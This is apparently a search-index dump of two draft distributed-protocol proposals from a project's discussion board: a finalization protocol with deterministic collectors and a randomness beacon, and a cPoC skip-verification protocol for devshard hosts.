max(user_height_seen, host_response_height_seen) and current mainnet tip.Envelope format, proofs, and signatures are defined in: Height sync protocol (structured HTTP body: height section + message section).
Note: Height sync here proves user liveness failure for the trigger. It does not by itself justify treating aligned mainnet height as a global finalization clock unless that same value is also adopted as collector_randomness_beacon under randomness_source = HEIGHT_SYNC_ALIGNED_HEIGHT.
When subnet life is limited to one mainnet epoch and the subnet is finalized on epoch switch (aligned with EPOCH_CHANGE_IMMINENT / epoch transition policy), escrow start need not include the L1 validator set. The CometBFT validators that may sign blocks during that epoch are defined by mainnet epoch participants (canonical on-chain state; exact module/query TBD). Each host loads that participant list once per epoch, converts entries to Cosmos / CometBFT consensus validator addresses (same derivation as in blocks), caches them, and uses the result to compute the expected validators_hash at height H when verifying LightBlocks (e.g. in USER_TIMEOUT evidence or when randomness_source = HEIGHT_SYNC_ALIGNED_HEIGHT) per Step 3b in Height sync protocol, so peer LightBlocks cannot use a fabricated validator set.
Escrow creation may still fix which epoch applies (e.g. via creation height or an optional epoch_id field) without duplicating validator keys on the start message.
To avoid ambiguity and enable deterministic collector choice, define:
NonceLeaf_i = H(nonce_i || state_hash_i || tx_digest_i)NonceMerkleRoot = MerkleRoot(NonceLeaf_1..NonceLeaf_N) (ordered by nonce)Then finalization candidate digest:
FinalizationHash = H(escrow_id || round || trigger_reason || trigger_evidence_hash || nonce_merkle_root || terminal_nonce || settlement_payload_hash)
trigger_evidence_hash is Merkle root of all trigger evidence items.
The collector randomness beacon is not part of this digest. It is carried on FinalizeInit (and echoed on FinalizeSubmit) and mixed into the collector selection seed only (see Deterministic collectors). Keeping randomness out of FinalizationHash lets the same terminal state proposal use different beacon sources or rounds while still binding votes/commits to one settlement payload.
Rationale:
When finalization starts (terminal state is fixed for the round), the protocol applies deterministic defaults so settlement always closes:
Pending, Started, in-flight execution, etc.) is treated as successfully finished for settlement: credited to the executor at the reserved or agreed cost, included in nonce_merkle_root and settlement_payload, same as a normal Finished outcome.These rules apply during state sharing when building the terminal view that feeds FinalizationHash. All hosts must apply the same defaults so nonce_merkle_root and payout fields match. Post-settlement correctness disputes (if any) are out of scope for this vote/commit protocol.
Deterministic collectors need a shared source of pseudorandomness that:
FinalizeVote (given the accepted FinalizeInit).FinalizationHash + beacon combinations).randomness_source.FinalizationHash so settlement content and shuffle seed are separate commitments (see above).Height sync satisfies (1)–(3) when used only as a randomness source: parties run the height-sync convergence rules from Height sync protocol and take the resulting aligned mainnet height as beacon material. That height is not required for finalization because hosts must “agree on L1 tip” in general — it is required only insofar as the chosen randomness scheme uses it.
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#supported-sources-extensible-enum", "title": "Supported sources (extensible enum)", "text": "randomness_source collector_randomness_beacon Verification sketch HEIGHT_SYNC_ALIGNED_HEIGHT uint64_be(aligned_mainnet_height) Aligned height from height-sync protocol; LightBlock / validator checks per height-sync spec PEDERSEN_COMMITMENT Canonical bytes of opened randomness Pedersen (or related) commitments posted during session; opening verified against commitments + defined aggregation rule (see validation randomness proposal) (future) source-specific Must document encoding + verification Implementations pick one source per escrow or per chain param. FinalizeInit must declare the source so verifiers do not assume height sync when another ceremony was used.
FinalizationHash alone?", "text": "FinalizationHash is fixed by the initiator’s proposal. Without external randomness, seed = H(FinalizationHash || \"collectors\") is fully predictable to the initiator, who could try alternate evidence/state presentations until collectors favor their slot. The beacon breaks that grind.
Collectors are selected from active slots using FinalizationHash, randomness_source, and collector_randomness_beacon from FinalizeInit (same triple every host and mainnet must use for the round).
Parameters:
collector_count = c (for example c=3 or c=5, chain param)randomness_source: enum selecting verification rules (see Collector randomness beacon).collector_randomness_beacon: opaque bytes whose encoding depends on randomness_source.seed = H(FinalizationHash || randomness_source || collector_randomness_beacon || \"collectors\")The hash H is the same function used elsewhere in this proposal (e.g. FinalizationHash). Deterministic “random” shuffle: the seed fixes a pseudorandom permutation of slots; all verifiers derive the same collector set without extra messaging.
Reference encoding for height sync: when randomness_source = HEIGHT_SYNC_ALIGNED_HEIGHT, collector_randomness_beacon MUST be the 8-byte big-endian aligned_mainnet_height from Height sync protocol.
Algorithm:
collector_randomness_beacon for randomness_source.c unique slots as collectors.Collectors responsibilities:
VoteQC,CommitQC,CommitQC exists, submit one signed FinalizeSubmit to mainnet (no earlier mainnet traffic for vote/commit).Fallback:
This section fixes who starts, in what order messages flow, and which path each message takes. It assumes state sharing (phase 1) has succeeded, participants share terminal state, and they hold a verified collector randomness beacon for the attempt (phase 2).
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#initiator", "title": "Initiator", "text": "FinalizationTriggerReason (see Trigger reasons and required evidence).FinalizeInit is the first message of a round. There is no separate “elected leader” in this draft: the first valid FinalizeInit that hosts accept for (escrow_id, round) under dedup / lock / unlock rules opens that round. (Policy may later add proposer rotation; this spec keeps initiation permissionless among honest hosts.)1: FinalizeInit with round = 1 and no unlock_timeout_certificate (first attempt for the escrow’s finalization flow).> 1: FinalizeInit must include a valid unlock_timeout_certificate proving the immediately prior attempted round (or the round named in the certificate) exhausted without settlement — see unlock_timeout_certificate under FinalizeInit. Hosts reject a higher round without that proof if they are still locked from an earlier round (see Voting lock and multiple rounds).For a fixed (escrow_id, round):
FinalizeInit — one logical proposal per round (may be gossip-duplicated; verifiers dedup by message_hash).FinalizeVote — each participating host sends at most one vote per (escrow_id, round) after validating FinalizeInit (including beacon verification).VoteQC — produced only by collectors after 2f+1 matching AGREE on the same finalization_hash; collectors broadcast the compact QC to all hosts (same transport as other collector fan-out).FinalizeCommit — each host that accepts VoteQC sends at most one commit per (escrow_id, round) referencing that VoteQC (e.g. vote_qc_hash), to the collectors only (no host-to-host commit gossip; see Transport).CommitQC — collectors aggregate commits, broadcast compact CommitQC.FinalizeSubmit — one signed transaction to mainnet, sent by a collector (or fallback submitter after collector timeout) carrying VoteQC, CommitQC, and settlement fields.Unhappy path: If step 3 never yields VoteQC (insufficient AGREE, all REJECT, or timeout), or step 5 never yields CommitQC, no mainnet submit occurs for that round. Hosts wait for unlock_timeout_certificate (or local timeout participation in forming it), then a new FinalizeInit with round := round + 1 may begin the next attempt.
FinalizeInit Initiating host(s) All hosts Subnet gossip (bounded fan-out K, dedup by (escrow_id, round, message_hash)) FinalizeVote Each host Deterministic collectors for (FinalizationHash, randomness_source, collector_randomness_beacon) from FinalizeInit Directed send (or gossip addressed to collector slots — implementation choice) so collectors can aggregate without all-to-all VoteQC Collectors All hosts Broadcast / gossip from collectors (compact) FinalizeCommit Each host Collectors only (same deterministic set) Directed send to collectors only — hosts do not gossip FinalizeCommit to other peers; CommitQC is how everyone learns the commit phase outcome CommitQC Collectors All hosts Broadcast / gossip from collectors (compact) FinalizeSubmit One collector (or fallback) Mainnet Single Cosmos tx (no prior vote/commit txs in this design) Minimizing commit traffic: It is enough that FinalizeCommit goes only to collectors; that bounds commit fan-out to O(hosts × collector_count) instead of host-to-host flooding. No separate all-to-all commit path is required.
Evidence payloads: Large trigger_evidence_items SHOULD use hash + fetch after first advertisement; FinalizeInit carries roots and optional references consistent with Communication minimization.
These messages implement phases 3–5 in Important to consider (after state sharing and randomness agreement). They do not define state sharing or beacon ceremonies.
All messages must include:
escrow_idround (monotonic uint64)sender_slotsender_sigmessage_typemessage_hashFinalizeInit", "text": "Fields:
escrow_idroundrandomness_source (enum): declares how to verify collector_randomness_beacon (see Collector randomness beacon).collector_randomness_beacon (bytes): source-specific material mixed into the collector seed. Hosts reject FinalizeInit if verification fails for the declared source or if the beacon diverges from their locally verified value for this escrow attempt (unless policy allows a defined tolerance). Collectors for the round are derived from FinalizationHash, this field, and randomness_source (Deterministic collectors).randomness_evidence (optional): source-specific proofs (e.g. height-sync LightBlocks, Pedersen opening transcripts) when not inferable from cached session state.trigger_reasontrigger_evidence_roottrigger_evidence_items (or fetch references)nonce_merkle_rootterminal_noncesettlement_payload_hashfinalization_hashunlock_timeout_certificate: Omit on round = 1. On round > 1, required (see Exact protocol — Initiator): quorum-signed (or policy-defined) proof that a prior round closed without successful settlement so this round may start. Must cover at least: (a) round r did not obtain CommitQC, and/or (b) round r did not obtain a valid VoteQC by deadline (vote phase failed). Exact encoding TBD; functionally a “round r exhausted” certificate.Advancing rounds: To open round = r_new > 1, the initiator includes unlock_timeout_certificate for the prior attempt (typically r_new - 1) unless chain policy defines a different mapping. Hosts verify the certificate before accepting the new FinalizeInit if they hold a lock from an earlier round.
Height sync alias: when randomness_source = HEIGHT_SYNC_ALIGNED_HEIGHT, collector_randomness_beacon is uint64_be(aligned_mainnet_height) from Height sync protocol. Older drafts named this field aligned_mainnet_height on the message; the beacon bytes are the canonical encoding.
FinalizeVote", "text": "Fields:
escrow_idroundfinalization_hashvote (AGREE / REJECT)reject_code (optional)reject_evidence_hash (optional)VoteQC", "text": "Produced by collectors after 2f+1 matching AGREE votes. Gossiped to all hosts after aggregation. Included in FinalizeSubmit to mainnet.
Fields:
escrow_idroundfinalization_hashvote_signers_bitmapaggregated_vote_signature (or explicit sig list)vote_countFinalizeCommit", "text": "Sent by hosts to collectors only after validating VoteQC (not gossiped host-to-host; see Exact protocol — Transport).
Fields:
escrow_idroundfinalization_hashvote_qc_hashcommit (COMMIT)CommitQC", "text": "Produced by collectors after commit threshold.
Fields:
escrow_idroundfinalization_hashvote_qc_hashcommit_signers_bitmapaggregated_commit_signature (or explicit sig list)commit_countFinalizeSubmit (to mainnet)", "text": "Fields:
escrow_idroundrandomness_sourcecollector_randomness_beacon: must match the accepted FinalizeInit for this (escrow_id, round) so the keeper (and auditors) can re-derive the collector set with FinalizationHash.randomness_evidence (optional): same role as on FinalizeInit if mainnet cannot rely on prior session cache.trigger_reasontrigger_evidence_rootnonce_merkle_rootterminal_noncesettlement_payloadfinalization_hashvote_qccommit_qcRule:
FinalizeVote AGREE in round r for finalization_hash H is locked on (r, H).FinalizeVote for the same (escrow_id, r).FinalizeInit for r_new > r and vote again only if unlock_timeout_certificate (and any stricter chain policy) shows round r exhausted without settlement — so advancing the round is justified, not an arbitrary view flip.Changing finalization_hash in a later round: Implementations SHOULD require unlock_timeout_certificate before accepting FinalizeInit with a different finalization_hash than the hash the host previously voted AGREE for, so a dishonest initiator cannot bounce honest voters between conflicting proposals without a timed-out or failed prior round.
Practical per-host state:
locked_round, locked_hash after an AGREE vote until unlock or successful mainnet settlement for the escrow.FinalizeInit(r_new): if r_new > locked_round, require valid unlock_timeout_certificate covering the stalled round(s) per policy; then update lock when voting in r_new.Retry without bumping round (optional optimization): If VoteQC exists but CommitQC never forms, an implementation MAY re-gossip VoteQC and run another FinalizeCommit wave at the same round instead of incrementing round. This doc’s default is round monotonicity + new FinalizeInit with unlock_timeout_certificate so every retry is explicitly opened.
Subnet gossip may deliver the same FinalizeSubmit material many times, and several collectors are allowed to broadcast/submit. Settlement must still happen at most once per escrow on mainnet.
Guarantees come from application-level rules in the keeper, not from the vote/commit protocol alone:
Terminal escrow state: The chain stores each escrow_id in a lifecycle (e.g. ACTIVE → SETTLED / CLOSED). The handler rejects any finalize message if that escrow is already settled (or already aborted under a defined dispute path). This is the primary “never twice” gate.
Optional digest bind: The keeper MAY record last_finalization_hash (or settled_terminal_nonce + payload commitment) for the escrow and reject a second submission that differs (conflicting retry). A byte-identical replay of the same valid submission should be rejected as duplicate or treated as no-op (idempotent success), so collectors racing on the same certificates do not double-apply effects.
Same certificates, one effect: VoteQC and CommitQC tie submission to a single finalization_hash. Honest hosts only sign one committed outcome per successful round; two different outcomes would need different hashes and could not both pass unless the chain allowed a second round — which must still respect (1).
Tx-level dedup: Cosmos SDK sequence / mempool dedup prevents the same signed tx from executing twice; distinct txs repeating the same settlement must still fail at (1)–(2).
The commit phase prevents conflicting finals from being signed by a quorum without a new round and unlock rules; mainnet idempotency prevents repeated application of settlement for the same escrow.
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#mainnet-interaction-single-round-trip", "title": "Mainnet interaction: single round-trip", "text": "Vote and commit phases are devshard-local only. FinalizeInit and collector-originated QCs use subnet gossip; FinalizeCommit is collector-directed only (see Transport). There is no message to mainnet while those phases run — no “report vote QC” or “report commit QC” as separate chain transactions.
One chain interaction: when the subnet is done, a collector (or fallback submitter) broadcasts a single signed FinalizeSubmit transaction that includes settlement payload, randomness fields, VoteQC, CommitQC, and all fields needed to recompute finalization_hash. The node returns tx success (settlement applied) or failure (validation error → rejected).
Why not more mainnet steps: Intermediate “vote verified” / “commit verified” events would imply extra devshard↔mainnet traffic and do not add safety if the keeper only applies state on the final accepted message. Verification of VoteQC and CommitQC happens inside that one handler.
Events (for devshard hosts, not extra round-trips): The keeper should emit Cosmos events on outcome so every devshard host can learn the result by watching the chain, even if the submitting collector crashes before gossiping success back:
finalization_settled — include escrow_id, finalization_hash, and any index fields needed for wallets/indexers.finalization_rejected — include escrow_id, finalization_hash (if parseable), and reason code / error class.Optional: one generic finalization_outcome with an enum SETTLED | REJECTED instead of two event types. Do not emit separate chain events that mirror internal vote vs commit checks unless a product need requires auditing (that can stay in logs, not p2p to mainnet).
Mainnet handler must reject finalize submissions unless:
finalization_hash recomputes exactly from payload and evidence.randomness_source and collector_randomness_beacon are present; beacon verifies under the declared source; optional strict check that signers in VoteQC / CommitQC are exactly the collector set from H(FinalizationHash || randomness_source || collector_randomness_beacon || \"collectors\") if the chain verifies collector membership.USER_TIMEOUT height-sync sections, EPOCH_CHANGE_IMMINENT header proof).VoteQC is valid and meets threshold 2f+1.CommitQC is valid, references VoteQC, and meets threshold 2f+1 (or configured commit threshold).escrow_id, round monotonicity, no duplicate finalization hash).Items 4–5 are in-memory checks inside this single tx, not separate mainnet messages.
"}, {"location": "community/discussion/proposals/1369-finalization-protocol-proposal-host-initiated-collectors-com/#communication-minimization", "title": "Communication minimization", "text": "FinalizeVote to collectors (directed or collector-addressed relay); FinalizeCommit is collectors only — no host-to-host commit gossip (sufficient to cap commit traffic).VoteQC / CommitQC.(escrow_id, round, message_hash).randomness_source = PEDERSEN_COMMITMENT,REJECT path should also produce commit certificates for deterministic default settlement.🔄 Auto-sync: from Discussion #1384 every hour.
"}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#devshard-cpoc-skip-protocol", "title": "devshard cPoC skip protocol", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-07-01 10:08 UTC · Обновлено: 2026-07-01 10:08 UTC
"}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#summary", "title": "Summary", "text": "In a devshard, hosts that run confirmation PoC (cPoC) must not serve normal inference for the duration of their PoC obligation. Other hosts must be able to tell whether a skip is legitimate (the skipping host is on the cPoC schedule at the relevant height) or abusive (lying, or refusing work). This document specifies the data flow and the cases that the cPoC protocol must handle.
The core idea that hosts know mainnet heights and there is (out of scope) concensus mechanism to agree on that heights. Hosts bind nonces to heights, but only to nonces they know. If host served request with nonce_A it binds it to H_A(host), the next nonce served by this host will be nonce_B = nonce_A + slots_num. So every nonce between nonce_A and nonce_B from the hosts view is between known to host H_A(host) and H_B(host). And there are nonces where some other host skips the inference because of performing cPoC. So the other hosts can verify, if this skip was valid or not.
Out of scope for this document:
**H(host)** equal to the height known to the majority of validators / devshard hosts (its own follower + height-sync rules have converged on that value). Discrepancies at the level handled by the height-sync spec are that spec’s problem; this document only distinguishes the cases where such a discrepancy affects a cPoC verdict and defers the discrepancy itself to height sync.Valid / Invalid / Inconclusive) and hands evidence to Finalization protocol.It may be easier to understand this proposal through worked examples; see Cases to handle (case / dataflow).
Status: draft — data flow + cases specified below; wire schemas, chain hooks, and slashing predicates still TBD.
"}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#scope", "title": "Scope", "text": "Part Content Depth in this doc 1 On escrow start, random (or policy-driven) host assignment so that roughly ~20% of devshard hosts havePOC_SLOT = true (keep serving inference during cPoC windows) and the rest run cPoC when scheduled. Out of scope for deep specification — operational/policy; implementers can fix exact ratio and RNG source separately. 2 Protocol for proving that a host was entitled to skip inference because of cPoC at a given mainnet height, under height disagreement and Byzantine developers/hosts. In scope — normative intent below; formalization pending."}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#shared-assumptions-informative", "title": "Shared assumptions (informative)", "text": "**V exposes a scalar **H(V)** — the mainnet height known to the majority of validators / devshard hosts as of **V’s latest convergence with the height-sync layer. This doc does not re-specify how H(V) is computed, trusted, or refreshed; see Height sync protocol. When this doc says “height **H” without qualification, read it as **H(V) at the moment V evaluates the case.**H_i** and a mainnet height **H**, there exists a deterministic predicate **Schedule(H_i, H) ∈ {idle, prepare, active}** derivable from chain / epoch state by anyone with that height. Semantics of prepare vs active are defined in the chain-side cPoC spec and out of scope here.**N_slots slots and fixed mapping **executor(nonce) = hosts[nonce mod N_slots]**, the same logical slot recurs at **nonce + N_slots** (one round**).**R_req is merged into the session's linearized diff at some later nonce **R_req + x, **x ≥ 0** — not necessarily the same nonce. Any nonce-bound rule must work on the nonce at which a message appears in Diff, not on wall-clock pairing with the outbound request.All nonces below are monotonic indices into Diff (Data flow § Per-session local state). They are defined here once so later sections can reference them without re-introducing each.
n Generic Diff nonce. — R_req Request nonce. The nonce at which MsgStartInference is appended to Diff (Path A) — the inference request a cPoC skip answers. D → devshard (MsgStartInference). N_SP Probe nonce. The nonce at which MsgSkipProbe is appended to Diff (Path B) — the lightweight probe that plays R_req's role when no prompt is submitted. D → devshard (MsgSkipProbe). N_carry Carry nonce. The nonce at which the CarrySkip envelope (embedding either the signed CPoCSkipResponse or CPoCProbeResponse) is appended to Diff. This is the only verdict-bearing artifact in Diff; every verifier computes Verdict from Diff[N_carry]. Causality: R_req < N_carry in Path A (distinct proto messages ⇒ distinct nonces, and the dev cannot sign the carry until after the host's p2p response exists); N_SP < N_carry in Path B for the same reason. D → devshard (CarrySkip). X Witness nonce. The latest nonce ≤ R_req (or ≤ N_SP) whose executor is V itself; height_at[X] is V's local height observed no later than R_req and is the lower endpoint of the freshness interval I = [h_X, h_carry]. Formula and derivation in § Verdict predicate, step 1. Computed locally by each V. N_slots Number of executor slots per round; executor(n) = hosts[n mod N_slots] (assumption 4). Chain / epoch parameter."}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#problem-statement", "title": "Problem statement", "text": ""}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#1-skip-correctness", "title": "1. Skip correctness", "text": "A host that returns “skipping because of cPoC” may be:
Schedule(H_i, H) ∈ {prepare, active} and H_i ∉ PoC_slot_set, orCPoC_SKIP while not scheduled / while in PoC_slot_set (avoids work).The protocol must let every honest verifier **V reach the same verdict from the same diff, using **H(V) as the height oracle (assumption 1).
A developer could hold a host's cPoC skip response and later attach it via CarrySkip. Mitigation is layered:
I = [h_X, h_carry] each verifier personally witnesses (§ Nonce binding). A late carry of a genuine skip blob remains Valid — it was truthful at a height in I; a late reveal does not retroactively make it a lie. Only skips that were never legitimate at any height in I produce Invalid.MsgTimeoutInference{…CPOC} timeouts and finalization deadlines.Under high inference rate, if most hosts skip during cPoC, per-skip gossip is unacceptable:
It is important that each host can participate in a lot of devshards, so gossip traffic is highly unwanted and is limited to disputes and settlement cases.
"}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#design-principles-high-level", "title": "Design principles (high level)", "text": "The formalization in § Data flow and the cases in § Cases to handle are chosen to satisfy the following principles. Nonce symbols (R_req, N_SP, N_carry, X, N_slots) are defined in Shared assumptions → Notation; H(V), Schedule, and PoC_slot_set in Shared assumptions items 1–3; timeout_skip_gossip under § Gossip minimization.
The developer chooses one of two shapes when opening a request, he can request with an inference and get cPoC skip response or can ckip in advance host that is doing cPoC; both converge on the same Verdict predicate.
Path A — inference with possible cPoC refusal (full payload). Developer submits a real inference request; the host either confirms and runs it, or refuses because of cPoC.
D → devshard : MsgStartInference(R_req, prompt_hash, …) [into Diff at R_req]\n\n happy path → H_i → devshard : MsgConfirmStart(R_req) [into Diff]\n → … → MsgFinishInference\n\n cPoC path → H_i → D : CPoCSkipResponse(R_req, reason) [p2p; NOT in Diff]\n D → devshard : CarrySkip(N_carry, <embedded CPoCSkipResponse>)\n [into Diff at N_carry]\nPath B — lightweight skip probe (no prompt, no inference cost). Developer asks H_i to report its cPoC state without paying a prompt. The host does not execute inference; it just returns a signed status. The response has two possible outcomes:
H_i is still on cPoC (cpoc_active or cpoc_prepare); behaves like a Path-A skip for verdict purposes.H_i has finished cPoC and is READY_INFERENCE; the developer should resume sending real MsgStartInference to H_i.D → devshard : MsgSkipProbe(N_SP) [into Diff at N_SP]\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈ {cpoc_active, cpoc_prepare, ready}) [p2p; NOT in Diff]\nD → devshard : CarrySkip(N_carry, <embedded CPoCProbeResponse>) [into Diff at N_carry]\n # N_SP < N_carry strictly (two distinct Diff entries)\nA ready outcome carried into Diff is not an Invalid skip — the verdict predicate simply does not apply (no refusal to validate). It is instead a scheduling receipt: V records that H_i signalled ready at a height in [h_X, h_carry]. Subsequent developer behaviour is checked against that receipt by C13 (developer keeps probing / skipping a ready host — see § Cases).
Future optimization (deferred, see Open question §8). Once D has a fresh CarrySkip proving H_i is on cPoC, subsequent skips of H_i within the same cPoC window should not need a full probe roundtrip: D can place a single developer-signed marker into Diff at H_i's slot and route the real request to H_{i+1}. Collapses the three-message Path-B triple (MsgSkipProbe → CPoCProbeResponse → CarrySkip) to one D-signed entry per repeated skip. Out of scope for this release; the current doc specifies only the explicit-probe flow.
Key invariants shared by both paths:
CPoCSkipResponse (Path A refusal) or CPoCProbeResponse (Path B status), the host's signed statement only enters the verifier's field of view when the developer echoes it via **CarrySkip** into Diff.**CarrySkip is the primary verdict-bearing artifact in Diff. Every V computes Verdict from Diff[N_carry]. For Path A**, the predicate additionally scans Diff for a MsgConfirmStart matching the same inference_id; if one exists (in either direction relative to N_carry), the verdict is Invalid against H_i for double-claim (see § Verdict predicate, step 2, and § Cases → C2').Diff entries per path. Both paths have R_req < N_carry (resp. N_SP < N_carry) strictly: different proto messages occupy different nonces, and the developer signature on CarrySkip binds bytes that only exist after the host's p2p response arrives.CarrySkip has reached a final Verdict, closing the inference record at chain level uses the existing MsgTimeoutInference{reason = TIMEOUT_REASON_CPOC} path (new enum value); this settlement step is not what the verdict depends on.Everything below — nonce binding, gossip minimization, data flow, cases — applies to both paths uniformly; the only Path-B specialization is the additional ready outcome (and its follow-on case C13).
Because of asynchronous developer traffic (Shared assumptions, item 5), the response to a request sent at nonce **R_req** may appear in Diff only at nonce **R_req + x**, **x ≥ 0**. The delay x is not bounded in rounds — rounds can be far faster than mainnet blocks or host response, so many rounds may legitimately elapse between R_req and N_carry. Verdicts therefore bind to a height interval that each verifier constructs locally from its own observations of Diff:
**R_req** (the request it answers), stated inside the signed CPoCSkipResponse. (Term chosen to avoid collision with the height-sync \"Anchor\", which is out of scope here.)**N_carry** (the nonce at which CarrySkip is appended to Diff and becomes visible to verifiers).X = the latest nonce ≤ R_req whose executor is V itself — a nonce V personally handled, so height_at[X] is a height V actually observed no later than R_req. The exact formula (same round vs. previous round, depending on SP_v vs. SP_e) and its derivation are given in § Verdict predicate, step 1.I = [h_X, h_carry] where h_X := height_at[X] and h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry]. This interval bounds the set of mainnet heights at which the host's skip could physically have been produced, as seen through this verifier's local clock.Schedule(H_i, H) ∈ {prepare, active}. If no height in I places H_i on the cPoC schedule, the skip could not have been truthful at any moment V witnessed → Invalid against H_i. A stale but genuine skip blob replayed well after the host returned to READY_INFERENCE is still Valid — the host was legitimately refusing at some height in I; a late carry does not retroactively make it a lie. (Replay / withholding harms settlement, not the cPoC verdict — see § Consensus / voting and the settlement-only row in the primitives table.)h_X and h_carry from its own height_at[·] map; the developer's or host's claimed height in CPoCSkipResponse is informational and is not input to the verdict.timeout_skip_gossip after N_carry the session advances to N_carry + N_slots (one full round), every honest verifier has seen the evidence via the diff. No dedicated gossip is emitted.V with a non-Valid verdict MAY emit a compact SkipEvidenceGossip pointing into Diff. Peers re-run the verdict predicate locally.Parameter **timeout_skip_gossip (proposal: ≈ 2 mainnet blocks) is chain-parametrized**; its exact value is out of scope here.
When a host skips inference because of confirmation PoC, every other host can tell if that skip was honest or cheating—without flooding gossip.
The session is an append-only log of messages, each at a monotonic nonce. Everyone reasons from what landed in Diff, not from private p2p alone. Verifiers see host answers only after the developer carries them into Diff. CarrySkip is the verdict-bearing artifact.
Two ways to open a skip
How verifiers judge (each host V locally) When V ingests Diff[N_carry]:
I = [h_X, h_carry] from heights V recorded when it processed earlier nonces (witness nonce X ≤ request, carry at N_carry).H_i actually on cPoC (prepare/active) at some height in I? If never → Invalid (lying skip). If yes → Valid (even if carried late—anti-cheat, not anti-replay).Votes & settlement Non-Valid verdicts → signed CPoCVote → quorum / finalization.
Usually no extra gossip: the diff propagates the evidence. Gossip is a rare fallback when the session is slow to advance one full executor round.
"}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#data-flow-formalized", "title": "Data flow (formalized)", "text": ""}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#parties", "title": "Parties", "text": "Symbol Role**D** Developer / client. **H_i** Host at slot **i** (i = nonce mod N_slots). **V** Any verifier (a host that observes the session diff and must form a verdict)."}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#per-session-local-state-at-each-v", "title": "Per-session local state (at each **V**)", "text": "Symbol Meaning **Diff** Append-only linearized diff of session messages, indexed by monotonic nonce **n**. **H(V)** Height oracle (out of scope — supplied by Height sync protocol): mainnet height known to the majority of validators as of **V**’s latest height-sync convergence. **height_at[n]** Local map: when V ingests diff entry at nonce **n**, it records **H(V)** at that moment. Not shared; local only. **PoC_slot_set** See assumption 3. **pending_verdicts** Buffer of skip attestations ingested from Diff whose Verdict is not yet final, keyed by (R_req, N_carry). Three reasons an entry sits here: (a) **Inconclusive** — I's endpoints (h_X, h_carry) are not yet strictly confirmed by the height-sync layer (resolution key: confirmation signal covering I, see C6); (b) **Invalid** awaiting the round-elision / gossip deadline (C9/C10); (c) **provisional** within the seal window [h_carry, h_carry + W_seal] used by step (2) of the Verdict predicate — a MsgConfirmStart for the same inference_id may still arrive and flip the verdict to Invalid (C2'). Note that Diff[X] is always present by the time Diff[N_carry] is ingested (because X ≤ R_req ≤ N_carry and Diff is append-only), so h_X is always immediately computable — no \"wait for witness\" deferral exists. Each entry holds: N_carry, R_req, skipping host H_i, raw signed host response (CPoCSkipResponse or refusal-outcome CPoCProbeResponse), current tentative verdict (if any), provisional_until mainnet height (when reason (c) applies), and the resolution key/deadline. Entries are removed on commit: Valid → drop after the seal window expires; Invalid → hand to finalization. ready-outcome carries never enter this buffer — they are recorded directly in ready_at (below). **ready_at** Map host → (N_carry, h_carry, reset_height?) recording the latest CPoCProbeResponse(outcome = ready) for each host, from the most recent CarrySkip in Diff with payload_kind = probe_response and outcome = ready. Consumed by case C13 (developer withholding from a ready host). Cleared for H_i when V later observes either (a) Schedule(H_i, H) ∈ {active, prepare} strictly confirmed for some H > h_carry, or (b) a fresh non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried into Diff. **withholding_alert** Per-(D, H_i) flag set by V when the C13 violation predicate fires on local Diff observations; cleared per C13 flow step 5. While set, V (if queued as a future executor for D) refuses to serve D until fairness is restored."}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#primitives", "title": "Primitives", "text": "Names in subnet/proto/subnet/v1/{tx,diff}.proto unless marked (new). The verdict-predicate input set is MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip; the verdict-settlement input set is CPoCVote; the remaining messages are p2p carriers (CPoCSkipResponse, CPoCProbeResponse), delivery gossip (SkipEvidenceGossip), or final settlement (MsgTimeoutInference{…CPOC}).
**MsgStartInference** Diff (existing) D → devshard Inference request at nonce R_req: inference_id, prompt_hash, model, input_length, max_tokens, started_at. Path A only; this is the request the cPoC verdict anchors on. **MsgConfirmStart** Diff (existing) H_i → devshard Happy-path executor confirmation: inference_id, executor_sig, confirmed_at. Absent when H_i is skipping for cPoC. Presence alongside a matching Path-A CarrySkip for the same inference_id is a protocol violation: both messages carry H_i's signature on contradictory claims, and Verdict step (2) flips the verdict to Invalid against H_i (see § Cases → C2'). The mutual-exclusion check holds regardless of the order in which the two entries appear in Diff. **CPoCSkipResponse** p2p (not in Diff) H_i → D Path A only. Host's signed refusal to a real inference request: inference_id, reference_nonce = R_req, reason ∈ {cpoc_active, cpoc_prepare}, optional claimed_height_h_i (informational; verdict ignores it), host signature under domain cPoCRefusalContent. **CPoCProbeResponse** p2p (not in Diff) H_i → D Path B only. Host's signed response to a skip probe: probe_nonce, reference_nonce = N_SP, outcome ∈ {cpoc_active, cpoc_prepare, ready}, optional claimed_height_h_i (informational), host signature under domain cPoCProbeResponseContent. ready means H_i has exited cPoC and expects real inference requests. **CarrySkip** Diff (new message in SubnetTx oneof) D → devshard Developer-signed envelope that embeds exactly one host response blob — either a CPoCSkipResponse (Path A) or a CPoCProbeResponse (Path B) — and places it at nonce N_carry: nonce = N_carry, referenced_nonce = R_req (or N_SP), payload_kind ∈ {skip_response, probe_response}, bytes host_response, developer signature under domain CarrySkipContent. The only verdict-bearing / scheduling-bearing cPoC artifact in Diff. **MsgSkipProbe** Diff (new message in SubnetTx oneof) D → devshard Path-B lightweight probe: probe_nonce = N_SP, target_host_id, session/routing, no prompt payload. Enters Diff at N_SP. The host's response (CPoCProbeResponse) is p2p and echoed into Diff via a subsequent CarrySkip at N_carry > N_SP. CPoCVote p2p (→ collector), bundled into finalization V 